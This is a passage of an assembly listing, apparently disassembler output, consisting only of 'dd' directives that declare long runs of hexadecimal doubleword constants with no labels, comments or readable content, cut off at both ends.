0AF61049Ah, 8218412Dh dd 7602064Ch, 28EF2148h, 0C007133Bh, 3F0247h, 2B1EE0ACh dd 7784D72Dh, 8AFF400h, 0DA2C1932h, 28209347h, 0D84252A4h dd 4469F800h, 5C031CEAh, 6D1D24Ch, 4F56B2C3h, 0C01A1631h dd 0FC6F1055h, 2B06CF0Ah, 2FF20980h, 0EAD8A010h, 804EE280h dd 0D0915116h, 0ECB99600h, 55BA3EEh, 91327FCAh, 22A5C08Ah dd 0C4929E8Eh, 0AF31EF14h, 615380B8h, 30084C4Dh, 7493C57h dd 0DB1C4765h, 68E80C6h, 9C1BA02Fh, 829E05h, 9B21CE36h dd 375EC38Ah, 9249DA00h, 6F1FEEB4h, 7C4F4C16h, 0A89027C9h dd 0AE755AA5h, 0A3987700h, 0A04131ADh, 6B01F4Bh, 7B84180h dd 0F8AB64C3h, 1890DBA3h, 728154F0h, 70C28054h, 0F9AA2011h dd 0A537DBA1h, 0AF40304Bh, 3A30ACA0h, 0DCAC0132h, 532E6078h dd 6500C3EEh, 0ED87E411h, 0CC8B79Dh, 0FC9047C2h, 1F325991h dd 2EC79D5h, 0BA222CBEh, 0BD4322F3h, 0A64EE8A0h, 71005344h dd 2EA73C0h, 0F8F6C6h, 0DA6F0ED8h, 0F49BA278h, 587FC300h dd 0C18F6567h, 1E57D02h, 0FCC50387h, 0BFBFDBFEh, 0F1EF0008h dd 807B6B95h, 65621FC1h, 0D02EC035h, 528D0A98h, 9C2823Fh dd 77700FE1h, 6107218Bh, 5A6B601Ah, 9F0C6667h, 41911681h dd 275B006Ah, 0E336EE71h, 3A01634Dh, 306C2B08h, 5BF1C403h dd 0EFCF6960h, 315EAE0h, 1D9663CDh, 0B07468D0h, 8E98E618h dd 0C0847C50h, 0B6C8A059h, 0F607BFD9h, 8E230C58h, 4CACBDE1h dd 30D7330h, 0EF6744D5h, 0F97175B9h, 55E86307h, 5CF02C36h dd 32705Ah, 7E733F3Bh, 343DDE8Bh, 4AFDA106h, 68D876h, 0E38C4B8Fh dd 0CBFF639Fh, 2A1F100h, 0FD2411C7h, 0CF7930B7h, 288C1029h dd 0CD750B00h, 3AAA32F1h, 97480114h, 427FD503h, 8089BC63h dd 0CDBE1020h, 30D09CBBh, 621866E7h, 0AC0A4BC5h, 0B729C297h dd 0D0467805h, 0D9DD7C3h, 0D9049620h, 69E8F071h, 5BF11CA0h dd 846AAC01h, 3E6C68E3h, 0FC8160h, 967F9C83h, 220320A7h dd 81A13CA8h, 0ED41C52h, 359BA367h, 292000B4h, 0DBDC5FCh dd 0AC160192h, 7D027152h, 31BC82h, 30EA907h, 3538CFBh dd 0CA26E622h, 0A107D779h, 805E95A8h, 0D0F00B87h, 24960AA3h dd 8044E3FFh, 6BE438A1h, 24135D1Dh, 6201A099h, 7C03C892h dd 2D1D4022h, 37B08021h, 0E5E4CCB9h, 0D609CFF8h, 85ACA334h dd 0F8090118h, 934021A8h, 742276BBh, 340ADF00h, 0A335E67Ch dd 9C645900h, 0E49D03FCh, 31B202C8h, 0E9E5D248h, 0B68B2080h dd 7F19ACFBh, 9B494A50h, 0EE014022h, 0C73C2140h, 0CA5030EDh dd 6A897B00h, 6CB2AB59h, 0AEBD3CDAh, 0D1571B03h, 4872D46Bh dd 6410E384h, 0E10424E8h, 0D098B666h, 44FB089Ch, 3286D62h dd 4650BEEDh, 98441DD8h, 1B4A476h, 67152ED0h, 80929B27h dd 6D258261h, 1CE7BDC7h, 0C316531Ah, 0B979CEE5h, 0F14A41D8h dd 9D115900h, 30A45AEEh, 778E3F19h, 6434E4FCh, 409CB169h dd 4DF5A2F0h, 53030308h, 0C466A6A9h, 9BCA810Dh, 0F0032984h dd 8147E4D6h dd 3C7B02Eh, 0C9485D5Eh, 32028080h, 0E85699Fh, 0EC4CD384h dd 61A24305h, 80DA76E4h, 1059AF49h, 83D893h, 0E44403B4h dd 68790931h, 0D5609973h, 7749BC29h, 8919035Eh, 0E6717EBBh dd 0B09C59D0h, 81825107h, 88F1C5E8h, 0B183A09Bh, 741BD58Fh dd 716DC790h, 9CEAF700h, 0BA7EDCFBh, 0D6DA8867h, 900C2CB8h dd 4AC566E8h, 84C4A855h, 0A6F0A557h, 0C8DA0083h, 0CB40D149h dd 29F05C53h, 842490C3h, 81305101h, 51819DE4h, 4B28FCA9h dd 0CFDD3185h, 3C55100h, 0DD75E31Ch, 0EBE5049Fh, 806A43F1h dd 63605EF8h, 66C5ACA8h, 8BB03801h, 71FDA36Fh, 6BEF2884h dd 1EA4C28Eh, 0E32A28A1h, 0D7C3D45Dh, 26D8CF80h, 18091DDh dd 0B8CEA85Ch, 6AA2D488h, 780E3B28h, 11594621h, 363B009Dh dd 0BB8687EEh, 6B6E0B82h, 7582B91Bh, 78A09E79h, 0B527D1E4h dd 8A7A22h, 36391D33h, 6EF1FCB4h, 524BC900h, 31DC4FAEh dd 58010F26h, 7DC3461Bh, 79226471h, 7F320093h, 5DC70C72h dd 940012F3h, 0AFFD56Eh, 48786C7Eh, 744894EAh, 0EF7F9922h dd 66870E02h, 41C40282h, 0D1855678h, 104B776Bh, 1ACAE494h dd 0A00469D8h, 60C92208h, 0A2749AE4h, 62F041BCh, 8E100815h dd 0BA41EE85h, 74D1D180h, 0CCF315C4h, 0E204D8DBh, 0CDFE1D94h dd 6C21D6E8h, 5423179Bh, 0E4D3A16h, 7420CECCh, 5619DF81h dd 9D23E503h, 92E365C9h, 0EF9C406Dh, 0CCFA52CFh, 2802961Dh dd 0C6D53F60h, 322E0E80h, 0DD03A29Bh, 0CC5A7F24h, 5CC36E44h dd 1BD170D9h, 41837BA9h, 1A9E0CD8h, 853F431Ch, 8D026DC5h dd 44B93C82h, 0AFBD1F80h, 0E3A68082h, 0CA1CD2F9h, 0AC011473h dd 7E9819C2h, 5180967Ch, 235841B2h, 0B10CD7D5h, 0A9D3799Ch dd 0EDC03E26h, 508400FBh, 6DA3FAEEh, 0D028E08h, 9B87AA09h dd 0E55CCB62h, 647EBC08h, 428C549Ch, 4B9900C8h, 275DCE69h dd 19D16079h, 0B0957CEBh, 3A995607h, 0F918E4Eh, 0DBE81A21h dd 342A4867h, 863755C0h, 0E500D7EBh, 0BB53F948h, 7EF4B07h dd 0EA7D90B1h, 0CA0EBCEh, 0F1086A14h, 7EE4C301h, 7C687AB3h dd 0FA01A448h, 0DE79000Ah, 0AAB1BA43h, 0DD095C35h, 92E2D166h dd 9CCC0B8h, 6DE413EEh, 964801A3h, 0A6949BA1h, 0B600E921h dd 0D246AA0Ah, 0CDAD58CAh, 0AFDECB04h, 5716C0BCh, 1F5281DDh dd 91EF0A88h, 4833D80Ch, 7C06BCC2h, 3817217Eh, 120047D8h dd 776EF78Bh, 295703C0h, 0E82B1025h, 0E10192h, 0A8451384h dd 74FF58h, 0F4A5B634h, 6130385Ch, 89D39401h, 9E9B9349h dd 0A939B180h, 42C6879Fh, 998C6D00h, 0F5B0D15h, 0FCA22649h dd 0D333823Ch, 8861AAF4h, 0C4761289h, 7A0F1E28h, 0E5748058h dd 8880A299h, 63374C00h, 0E93016B3h, 1903EF1h, 7FE3DA82h dd 0B448E546h, 0DD0C696Eh, 9197FFD1h, 617F607Ch, 895A8C52h dd 16D75E00h, 0C4A5F3D1h, 0DC83D0Ch, 81DCEC51h, 1F94B9E9h dd 4F982493h, 810C218Ah, 1A948DDDh, 17833E4h, 0A45DCC22h dd 0DF2018C2h, 48374C4Ah, 0A82E811h, 28685C84h, 808E1F08h dd 7863240Fh, 28BA049Bh, 1494D976h, 74FE3BBEh, 88ACAD48h dd 0BCC3809Ch, 0C2384A9Eh, 0E27A9708h, 0C96A07C0h, 113D368Ah dd 0E3583890h, 0EA1DC4DCh, 0A090BA4Bh, 177E6068h, 0E9DE7228h dd 55B18500h, 1A400B0Ch, 5FC70983h, 0AC0054E4h, 2681A0EEh dd 0B93CC00h, 9221A6C4h, 0A2122406h, 0CFEE04C0h, 2258A4E2h dd 0AC387402h, 60A297E8h, 92C99064h, 1380B374h, 0BE1C286Ch dd 0C526C605h, 0A204B315h, 348CA266h, 0F19600AAh, 3878DF10h dd 0CB0192F7h, 668B2BECh, 4FC03A3h, 5D0A4DBh, 0FE6D38B1h dd 1452C353h, 0D0795C90h, 560021DFh, 0EF983A20h, 0BE880004h dd 0E2B3E1D1h, 0D0C62A25h, 37798DE8h, 0A1817Ch, 47535850h dd 9A416600h, 6D96F860h, 0B20F0507h, 85A2DAB3h, 0BAF0043Ch dd 3028B192h, 33ECBDCh, 8B3661CEh, 0D8E1A008h, 6BC01C2Ch dd 0E5CB6221h, 0A2922700h, 8B69F1AAh, 11D89A33h, 2603956Ch dd 183EF08Fh, 5211DC79h, 0B09F617Fh, 436CC364h, 0C1017BEDh dd 9C424965h, 5831C7F7h, 20455097h, 60D4AA80h, 0C4585BF8h dd 0B18C0068h, 96274F43h, 61DE6316h, 310069B9h, 3E56885Ah dd 5824FA86h, 0A83C9CACh, 0B602CBA0h, 456D5C55h, 0A1804331h dd 9B01684Ch, 0D20A1095h, 0D99900E9h, 0B1340BEEh, 0BF1DE15Dh dd 6940D072h, 7E478F78h, 0CC60E7C5h, 5AEE1CCFh, 0B0A8686Bh dd 9890E4h, 874FE7ABh, 0A6A8C734h, 3EC2CE01h, 96699ACAh dd 32000437h, 415D6C60h, 84007967h, 0BBE418F3h, 6A84CBDh dd 0E7D1CEA0h, 6C58A1ADh, 0BC70C124h, 0E2C4B64Ah, 28EE00AAh dd 183A9E99h, 0E2A202DDh, 6947C486h, 7BB8EF15h, 0D30F0094h dd 0EA75D074h, 411B2655h, 0E39F00D0h, 0B6F0834Bh, 12E0C15Ch dd 748997A9h, 0AC47E0E7h, 0BCF2EAh, 88353244h, 4DB32691h dd 6FD88F0Bh, 71BC84D2h, 9F2C0813h, 0D74480A8h, 0A875E1D0h dd 8E161890h, 0EE97A5A1h, 5D1CAC03h, 0ED64B8CDh, 0D809CADCh dd 41C660D4h, 7F0068DFh, 828155F2h, 74BFA3CCh, 59C10BBBh dd 0EC111B96h, 11472BAh, 186C269Ah, 7DFCAE3Eh, 3B9B7429h dd 2D27094Eh, 2F867009h, 9AFE3180h, 0D4AF71C0h, 29243A9h dd 0F20409FBh, 0D0610183h, 39C70886h, 0F054729Bh, 0A7798882h dd 0C07FE77Dh, 5DC43A2Ch, 3BDC900h, 947B6E86h, 0FA198710h dd 3F8253EFh, 8A8DAF88h, 103F1790h, 3590D418h, 0F040D4AAh dd 0E898A3D7h, 5D119742h, 1984163h, 321D81A0h, 98762410h dd 0A1792C40h, 0EDC9007Fh, 45485DFEh, 4313F851h, 7CC267F1h dd 640012AFh, 16609E2h, 705BF200h, 770B2573h, 401B1241h dd 43A84C7Eh, 16288181h, 5A224C96h, 29409064h, 11CC9179h dd 0F30F187Bh, 0D2A05B6h, 2D1864B8h, 79244218h, 0F0045C80h dd 0AB7A26C0h, 0A332F81Fh, 0A5B9904h, 0F19B18C8h, 4F92B980h dd 0B9CB4450h, 0F76EF00h, 0BC7930B1h, 324B3F87h, 0DDB41701h dd 87C20394h, 279BB661h, 0C46B789Ch, 86872D8h, 0E98FBD18h dd 876D10Fh, 0D08B695Ch, 711C10FEh, 2EE7F051h, 0E1748E96h dd 0EC1758EAh, 0FA037B2Ch, 0DCC46603h, 0BFC1B880h, 0F498F27Dh dd 0A410E77Ch, 8900CD4Eh, 0E58C0264h, 13FD5D92h, 20BA82C4h dd 7DE7F078h, 4E3EB801h, 92E6D195h, 6600DC4Ah, 0BC122229h dd 4F708085h, 2BFE3905h, 0CC4BCF79h, 0A80490BAh, 83D30CE6h dd 71916AA6h, 7E74A0E8h, 30B87924h, 550070A4h, 0C745A6B7h dd 0A159EED3h, 0A111D2ECh, 50E13A4Ch, 7EEC41D9h, 0EB240013h dd 0B551DB61h, 6912295Dh, 58335E84h, 9869436Bh, 2980F53Dh dd 59AE707h, 140E2C0Fh, 40AA7B93h, 0A0532A48h, 0BBC4A17Ah dd 8073BA11h, 10D0D551h, 3809B1Ah, 56550F86h, 0B9A86EDFh dd 0AF4CF295h, 0C04100F0h, 4EC13971h, 69E90326h, 5BF1901Ch dd 36EF60D7h, 0EB0949E3h, 18C2971Eh, 37BF44h, 0CD3AE874h dd 0C3444C63h, 7C908A1Fh, 36EE9500h, 720379FDh, 4A6A0010h dd 6F2202D5h, 6C3AE2A2h, 0C4057E61h, 8BFBCFF1h, 8058D827h dd 5D60218Dh, 6759C0Fh, 0C7FEDAF2h, 6AD0AD00h, 3F8A57F4h dd 0DCEF2522h, 99589886h, 0E0C14Ch, 0B76C713Ah, 0C07AB8F1h dd 0C8FE2219h, 0D578DF3Dh, 49A09060h, 0C04B5DA2h, 705CE3B0h dd 0C8980297h, 542C144h, 2A2F239Bh, 9A58083Ah, 0D16DC582h dd 0F07450FEh, 0BC1B1FC4h, 38920067h, 48F044E3h, 79CB0316h dd 0E8A268D3h, 2696ACEDh dd 407C7C22h, 7E3AE041h, 0B9F21B01h, 0EABB945Bh, 216E5981h dd 0E581C557h, 0EF318B33h, 8C44C9h, 0B45892A2h, 0AA99F09Ch dd 8ACA10Eh, 292E80BCh, 29B187D9h, 19803B6h, 6CA8322Fh dd 7018E9BCh, 8FE81154h, 3DE83513h, 0C4EF0600h, 0A096E581h dd 3BACC838h, 172844BBh, 0C6DAFF74h, 2C080A5Ch, 0F8521Ch dd 8376F219h, 0E34CD09Ch, 64788B0Ch, 3B2200D8h, 71F30830h dd 0F700E22Ah, 755FB8A0h, 0C47EE4E5h, 0CC1FE880h, 28949ECh dd 2F2A1C73h, 269D0070h, 33BD0EC7h, 1B4C44D3h, 60C0DC00h dd 4FD73DF9h, 0BA5E00C7h, 0F1CEA9C8h, 0C9FE6A81h, 9B02E8B8h dd 9650521Dh, 2E4E618h, 0C291CFFBh, 50442181h, 3A0EF13h dd 96F5430h, 0B46D002Eh, 0A578D97Fh, 0E0990358h, 7E419DBDh dd 40EC322Dh, 0B717ABAh, 0AB57DE2Ch, 0D1EA44C4h, 1B64249Eh dd 4095A220h, 6C427F24h, 90E48141h, 0C1A14C42h, 761280C8h dd 2D82B890h, 0CB569100h, 641086ECh, 70330321h, 935F9B67h dd 287BA82Dh, 0B07D40Ch, 0BF008326h, 79E5FBDh, 51119920h dd 0DF2EB0E4h, 0F1041E29h, 977ABBB5h, 0B4E0A54Eh, 42497E83h dd 6BF82374h, 5AEED702h, 0E476CDA9h, 0AE100DCh, 5951FFE9h dd 83004447h, 0DEBEF1F9h, 48493C18h, 620A58ABh, 489801D1h dd 89827CCh, 0CE5CDAEAh, 0C641C750h, 0DE6FAFE0h, 40C7004Bh dd 0FE6BA0EEh, 0B90C11A8h, 41BA69C2h, 0E40C0EC1h, 0BBC47078h dd 3718E29Ch, 0AC422892h, 1274D817h, 0AFCC5h, 4A6DA67Ch dd 0B4A0F7EBh, 428A9620h, 5F06CE4h, 0E96A1A2Bh, 1ED01D4Fh dd 764BA046h, 0D32A0840h, 1C85A23Eh, 825E3FBEh, 0BA9720A4h dd 6EE5EC90h, 0DB95AD00h, 71AE6A17h, 0D08212F7h, 69D0C8FCh dd 7F9DFCE9h, 40A15976h, 8CEC21C7h, 0A890F188h, 0B8EF888Ah dd 0FA1C14A0h, 0C808E00h, 0B1ABCD09h, 84EE01F5h, 7276C47Fh dd 7DCA0065h, 5046F425h, 963054h, 74E22DCFh, 9CFDA3C4h dd 1840795Eh, 0C231DCBCh, 0CB10667h, 395EBBC1h, 8C4090B6h dd 0CB22C7h, 1737DA3Eh, 0F112E443h, 2D6F9600h, 181B3CC1h dd 9903F076h, 0E2D00B9Ch, 90793098h, 0C700B094h, 0D192A6FBh dd 6038B9FFh, 42F373CBh, 8DE9CE01h, 6330DB1Ch, 7CEC8AD4h dd 0A06650B6h, 3900B2A1h, 81044823h, 0B0A3D92Eh, 0ADE8CD64h dd 8B4321C9h, 0EE0C4411h, 727B1Ah, 9642F240h, 39AB3B9h dd 52767812h, 2B60844h, 59F43480h, 0FFF300F0h, 4D0A0782h dd 0CE5CA203h, 98B92258h, 0D0DD443Ch, 210033F9h, 9BCD020Eh dd 188590B2h, 0AF8E3D5h, 0B87CBB60h, 4D503080h, 404E11Fh dd 33DE5D32h, 1208ACF1h, 0AC818B92h, 3C3D64DCh, 4B05C9Ch dd 0C0B76FC4h, 0B5BEF419h, 0B1AF7B03h, 90A14E47h, 1371EE72h dd 9C792A7h, 74279AD8h, 0D2914857h, 0C0B03D1Dh, 0E2592ED4h dd 614FDB2h, 2DD5FC0h, 0F144831Eh, 4590F09Fh, 78C33BBh dd 91D7FB83h, 71AD5940h, 30BB3E63h, 9E44605Eh, 583D514Dh dd 21570080h, 0DBE16966h, 18DD096Bh, 0C4982BB3h, 97886343h dd 89FCBC2Ah, 0A048B9EFh, 0FA02EB35h, 0D11B79D2h, 69B860A3h dd 7D9B25CBh, 14458C16h, 88974C30h, 0BC01E09Bh, 9894E2BAh dd 0A2C411C3h, 0E407011Eh, 0A1F1C639h, 0DEA4286Ah, 0D4FB16E1h dd 2A30CC34h, 0ED70EA00h, 0BFE36980h, 23F2099Ah, 2441926Ch dd 0A111D066h, 0C40549Ch, 0DA5932h, 9E264AA4h, 6A0D8ED1h dd 0EBC1381Fh, 37468741h, 3192F879h, 0CF8D0BAh, 0F40B1D1Fh dd 8E1A4A64h, 0BCEA0192h, 8828D038h, 6C7F6D22h, 69204C50h dd 73A70588h, 49600C2Eh, 93A05C1Eh, 27507F88h, 38B86575h dd 0E0004092h, 0B429A37Eh, 0F7FD55h, 7D75DB13h, 40EF6911h dd 0CF198600h, 0EDB08EBAh, 80E51EA1h, 5174189Dh, 0F100E015h dd 0C66F872Ah, 0BB2495h, 8B702572h, 0C9CF0D21h, 846ADCA8h dd 1F4F4622h, 0CBEEA36Bh, 50185CD9h, 0B005E10h, 2ACB8523h dd 106BA16h, 0E9195C32h, 71AD6DFDh, 0AC1C6094h, 0FCD1300Fh dd 1C989EF0h, 12C1F204h, 53A66C63h, 7D320C3Ch, 0FD90EE71h dd 0C2020EFAh, 4910A0Ch, 26E04042h, 0C108FAC3h, 0C403F508h dd 5B073A9h, 942D47E2h, 0BDFCCCh, 86325E1h, 0A02FCD9h dd 92471D00h, 2340A9DCh, 8BBD3D34h, 0FD6BC480h, 0CE1D7B6Eh dd 0D16990C2h, 9EDCD2E9h, 1C8A40F0h, 9B01DBFDh, 0F1DD3D34h dd 0C063E6CFh, 4C21011h, 1D94BBC9h, 86E558CCh, 32C0442h dd 5B840B68h, 6D60501Ah, 2E05D285h, 209795F1h, 0B4E8F483h dd 360000CAh, 0D92A4AB7h, 5F026EBAh, 6FA6440Dh, 24DA79h dd 0C01E5670h, 36F5EAA0h, 72502258h, 0FA901CB1h, 86037881h dd 181F2A7Ah, 23E207E2h, 20AC3790h, 0A82DA25Ch, 0E430B4B0h dd 11C591D1h, 226000BAh, 26FC7B56h, 0E31FA0F1h, 0AE4B5F61h dd 0ED846EDh, 0ACC8E408h, 8653C480h, 17289672h, 9FFE4875h dd 109774A1h, 1362BA5h, 0DC17DA20h, 0F2CD5D5Ch, 45007465h dd 290F40B5h, 0C3F8000Dh, 0AC92F196h, 6F38E887h, 512FB17Ch dd 0F4311993h, 0BB89906Ch, 956A0CC8h, 0C421105Bh, 61BC1681h dd 0A0021913h, 889CB80Ch, 90E47880h, 79C516Ah, 0C5109F4Ch dd 70584941h, 0C0E4A148h, 345282Dh, 0DFD107FAh, 604E56A6h dd 5C27CF3Dh, 447F90C2h, 0A06C8472h, 9D112D40h, 3E6966Ah dd 21D15C00h, 0F1C3BB5Ah, 657E0302h, 776EA767h, 0CCCCBDFBh dd 28000C8Ch, 57A96150h, 4A5335C6h, 810C47A4h, 7C962B22h dd 5B240300h, 0C40108D4h, 0E894BAA0h, 0CCA49Bh, 0A625E09Ch dd 2918CB4Eh, 0D0392605h, 0D8B67D31h, 4C70DF10h, 48D122C4h dd 0C09DF4BAh, 41B39EC4h, 6E05D9B6h, 0CFEA6FC3h, 7109B0E2h dd 5C711A2Bh, 0CB72BD07h, 4EBF4200h, 2B7619ADh, 1083F02Ch dd 0C7895h, 274FE6B8h, 0F4059AD4h, 59F16A02h, 5166710Fh dd 19968A5Ch, 1298E04Ch, 68005F66h, 1DDECB0Ah, 0BC442756h dd 69AC8808h, 82440C28h, 7C209D76h, 23A70E52h, 0A1276100h dd 9571801Bh, 3442E91Dh, 3E6F2081h, 44002E85h, 0CE744DD5h dd 2D2EE78h, 458FFBCDh, 3C5697A9h, 0A801A843h, 380A3B29h dd 3CCCD2DFh, 0A0802A00h, 9B88BBB0h, 64E44159h, 0D045D870h dd 83A834FFh, 0C92466F0h, 0B053A023h, 3FAD9Ch, 0EC8AC3A9h dd 0D5B2D090h, 4E1E0401h, 0DD0FE8E4h, 0E33C082Eh, 0DB9BC985h dd 0E727D4F2h, 735B4B8h, 33158301h, 0F20F4788h, 5F978F8h dd 39D6873Eh, 0E544B4B4h, 0AA669144h, 543C6880h, 0A14101FCh dd 9BA219E6h, 37441ADh, 0E3F017DBh, 989AF73h, 0B218B796h dd 2006740Bh, 3248B067h, 0C026C0E8h, 0B2C2E7F6h, 0D9674078h dd 14886357h, 718022B1h, 0D4DF3D07h, 0CA7047B0h, 327A8848h dd 0FEA0A40Eh, 1142EC66h, 0B914116h, 0F0055B10h, 0F4DCF476h dd 0FA00C870h, 0DEF94B6Bh, 184DC3h, 20A9416Ah, 0E881DCEFh dd 2F3C6891h, 0A010C336h, 4ED42E3h, 8B7C0385h, 81B4E9C2h dd 4C581C95h, 2DDCFDD0h, 481B69Ah, 68AAD4A1h, 731580BCh dd 0F2A6F911h, 0ABF1074Fh, 0E1FF4D7Ah, 430D8B59h, 0D1255BB0h dd 505410C5h, 0F2820390h, 84A381C6h, 0CCE404B8h, 0FB987109h dd 0FAA0989Eh, 92B20009h, 1213F181h, 0A2079CDEh, 18633D1Fh dd 0FCC61A50h, 0B914E5Bh, 0A4482924h, 242E227Bh, 0DE40F09Ah dd 0FFA4BBh, 26E2DC99h, 668C1971h, 0F9549700h, 3057CEB1h dd 0B4CC512Eh, 4458A064h, 0E34E817Ah, 0C65DFC30h, 87F4919Ah dd 77FF5535h, 4F9753AAh dd 441FE0F0h, 84669D04h, 0CCB7785Ch, 0AFC99C00h, 93B5C6CEh dd 97F1BE00h, 0B8A1966Bh, 0E0B94C65h, 40695A15h, 931C9122h dd 9BC5F145h, 0E8A4E7D0h, 0A1512E78h, 9320468h, 0BF74C89Ah dd 0EB9390Bh, 1448016h, 0BAA946DAh, 20939DA8h, 4F204CD0h dd 87245F00h, 0E5E1C363h, 49BC00DEh, 345A6095h, 6B2E1CC4h dd 7891B81Bh, 0F807288h, 3AF22806h, 24E100ECh, 59DBB5EFh dd 182ED0ADh, 0D71F4857h, 68E78109h, 9D2D508h, 0A2355B75h dd 28DBCCE2h, 0B8B11400h, 21BC59Bh, 5DB09464h, 0B4E126A3h dd 87E9D002h, 46980627h, 596CA14Ch, 0E402C075h, 22022168h dd 4A886DC6h, 85D9E482h, 98498E8Ch, 0DB68C87Dh, 1EFE00FDh dd 0C443EE82h, 47045C3Ch, 2B3449DCh, 0FDA2F381h, 0E9118838h dd 50804A9Ch, 587121B5h, 6902ACA3h, 535BE338h, 0E22ABC84h dd 7A243BE0h, 39044D70h, 9B912EBDh, 0D900DCB9h, 2994EA3h dd 210FFC9Dh, 80AEF01Bh, 45B35485h, 1C157E7Ch, 0B079D429h dd 0E3752051h, 489C4100h, 0D8C06CE0h, 0BCCC00E9h, 8E344D90h dd 90B6DA59h, 0E0F78140h, 50739828h, 25E7C7Ah, 452BFC2h dd 84C09113h, 15E67D44h, 0FA716309h, 0AB4C4876h, 898113E3h dd 7A48F7B7h, 0A4EC49EEh, 0BC82D803h, 0D777374Fh, 23F2870h dd 24503F43h, 68C0C8D8h, 29B0C43Ah, 0A304ED72h, 0CC4E081Eh dd 11214FCh, 0F68F798h, 40F1A3C7h, 9A445EE7h, 7DA03F67h dd 0D3ECC02h, 5EFA2Dh, 0ADBA3C3Eh, 3608B168h, 4AC19D8h dd 0FD228549h, 0E8B2A0h, 13370BD3h, 7A27AAF4h, 76B89Ch dd 0ED4573F0h, 0D8A5EB15h, 2EE302F4h, 79D6400h, 196A9F59h dd 495479C3h, 36E2CDB6h, 69010014h, 0E8ED3877h, 0CDEA00FDh dd 0A38D7213h, 0F75F1094h, 0B49DF02Dh, 0A4791372h, 0D838B710h dd 9F1D00B1h, 7C801EF2h, 0DAF824EAh, 1DB0149h, 42BC6697h dd 4CE5782Ch, 57C6E003h, 1B16C8D5h, 71E21D60h, 2145DA50h dd 5440345Ch, 0E83D8Bh, 8176E529h, 0D483F873h, 4E79F513h dd 0CB0000A3h, 0E0FFACA9h, 0CD0B2741h, 641DB9F1h, 7897459Ch dd 1F6AC0C4h, 161DDF08h, 0D1BA9CBCh, 700243DCh, 4E00D4A7h dd 0F6E335B1h, 4C716E7Ch, 0E8568C59h, 0D936B01h, 407679C4h dd 34BFD48h, 201CC972h, 60F78508h, 0EF0818CBh, 1E0577F2h dd 91F8Bh, 449C551Bh, 3AF5CB2Fh, 8EC94020h, 40500057h dd 0E0AB3746h, 88C0A23Ch, 956AAD69h, 28149D0Eh, 4DC5EB01h dd 8B38812h, 8DD018C5h, 4BDE0035h, 0F46EFFBBh, 0B586613h dd 0E7DB228Ch, 1290F3D8h, 0BEC893Dh, 48006B0Eh, 0EE6D0AC9h dd 0FDA75A01h, 7CA01011h, 503803F1h, 2E602480h, 0CD7787DDh dd 0A5F899F2h, 0F5334200h, 0E0E28890h, 22812DBDh, 0A75358C4h dd 5F9D07F4h, 0D540B140h, 0EE41B563h, 1EAC09B6h, 7459BD03h dd 4D760F03h, 0E5EF886Fh, 0DF450FF7h, 4E406BD7h, 84A8C86Ch dd 0FC61B95Bh, 0D0019A7Ch, 801038E6h, 0C702A26Dh, 0F59F17D3h dd 0F84031C3h, 0ADE1E434h, 0F87D0A24h, 601E7A40h, 85F31E71h dd 2E7300F7h, 633E4C44h, 0F1D23601h, 1531FFA1h, 88AC136Ah dd 513ADA30h, 4AC5006Ch, 0D45FFDB7h, 0B00909B9h, 54C18DABh dd 248627Ch, 26AFC312h, 0D0C0C259h, 5C169F8Ch, 0C47E38C9h dd 51A704A0h, 0ED5531E7h, 12D859B4h, 8F44484h, 70E40002h dd 58A1AD18h, 0D760A7FFh, 5D220306h, 604096D1h, 6FBB1052h dd 0DDCF7200h, 35913EACh, 8030BC7Ch, 23DB4808h, 0A4003D7Fh dd 0F4078460h, 0CCFB73h, 0C32166B0h, 59F1D5DEh, 7468295Ch dd 60448054h, 0D2CB451Ch, 51FAD0C9h, 76D831ACh, 0C00FC76Dh dd 53CB9295h, 1FC5CC8h, 6B8A82A7h, 60C31391h, 9F44E7A0h dd 0C8104B96h, 2CA2E3BCh, 209F50F0h, 0A8FD8CB8h, 0C4812D79h dd 14054442h, 4ECC85CFh, 0C240B10Ch, 0BA7B57DCh, 29D73005h dd 0C8320E96h, 0EAF618E5h, 0B68E150Ah, 3E3C74BBh, 5B94839Ch dd 0F0D8E7A9h, 0FE4C2Fh, 40EEE8BDh, 0A369CD8Ch, 59377100h dd 84674477h, 94505242h, 0B946D509h, 0CA7CEC10h, 7D7448h dd 18B792Ch, 873870h, 37A88EA9h, 45ABB79Dh, 5024898h, 3DEEB046h dd 6C7CE0D7h, 2081217Bh, 3C16A901h, 28304FEAh, 40B49E54h dd 0F81E2EB5h, 1317D09Fh, 0B20230BFh, 60D300BCh, 18A77B0Bh dd 239604D5h, 802C30DAh, 0D6096179h, 2C34A326h, 98E3B9C3h dd 4491C4h, 8F6510Bh, 0D22E52Ch, 0A1EB3817h, 4E2C81Fh dd 97FC4F66h, 1DB8E0B2h, 4FB8EB53h, 0F4002C8Ah, 13DFBCF8h dd 60105C2h, 9B1DFBAEh, 0D4FC8777h, 854100EEh, 67F1B3FFh dd 12508FC4h, 3C13A6F0h, 70006C4Fh, 43056D0Ch, 36112676h dd 12951228h, 1D0B333h, 0DEA17DFBh, 0F8D44FBDh, 78E200B6h dd 63E7ECE3h, 464A7F7Eh, 503BFC8Ah, 8E20BF0h, 0C0C4AFDh dd 6A886328h, 0A845F0DAh, 2C219508h, 2BC0CB6h, 85E98104h dd 0E42CA059h, 8047A60Eh, 2B68F549h, 1FB09092h, 0FC8EAAE4h dd 0CC0071BCh, 0BFCC3A5h, 0A6011166h, 3944D7C2h, 6C2833A2h dd 0B08C5487h, 0B296DCDFh, 8057DD05h, 0D0CCD44Dh, 0F6AA02FBh dd 0D9D014D7h, 96A55840h, 0AD801491h, 3A9A07DDh, 3CC90580h dd 0CA6C0311h, 0BC7910D0h, 0FAD13A71h, 0C54E6240h, 0F0107CC4h dd 4885B28h, 94B3041Bh, 0A2D9BE2Ch, 0C8C40030h, 80DFF630h dd 1F02B8E3h, 80A3AAFFh, 35411848h, 101220FAh, 48E0628Ah dd 8E9320FEh, 42806C91h, 0D180E287h, 0D9291F77h, 2AE1843Bh dd 0A2A280E5h, 0E4A54F7Fh, 0E8D1880h, 127725C0h, 0F04299BBh dd 0F124547Ch, 0A6B928AAh, 0AE001C05h, 8A9DC2F6h, 0CA48C552h dd 0F1E89047h, 5B53696Ah, 0C843D8h, 1A2E42BEh, 0FE343D0Fh dd 0FC01BD55h, 330BCD48h, 0A5C900BCh, 83255C60h, 0F5CEF716h dd 0C753B060h, 0CF49DE0Bh, 0DB4404ECh, 78018CB2h, 38227F82h dd 2E74606Dh, 0D0268703h, 805DC6B6h, 0A4199633h, 0E0CD48DCh dd 74AE7F3Eh, 0C3BD50C8h, 0E3007EEAh, 931B42DAh, 48F0A3F8h dd 9A263C60h, 11CB40A4h, 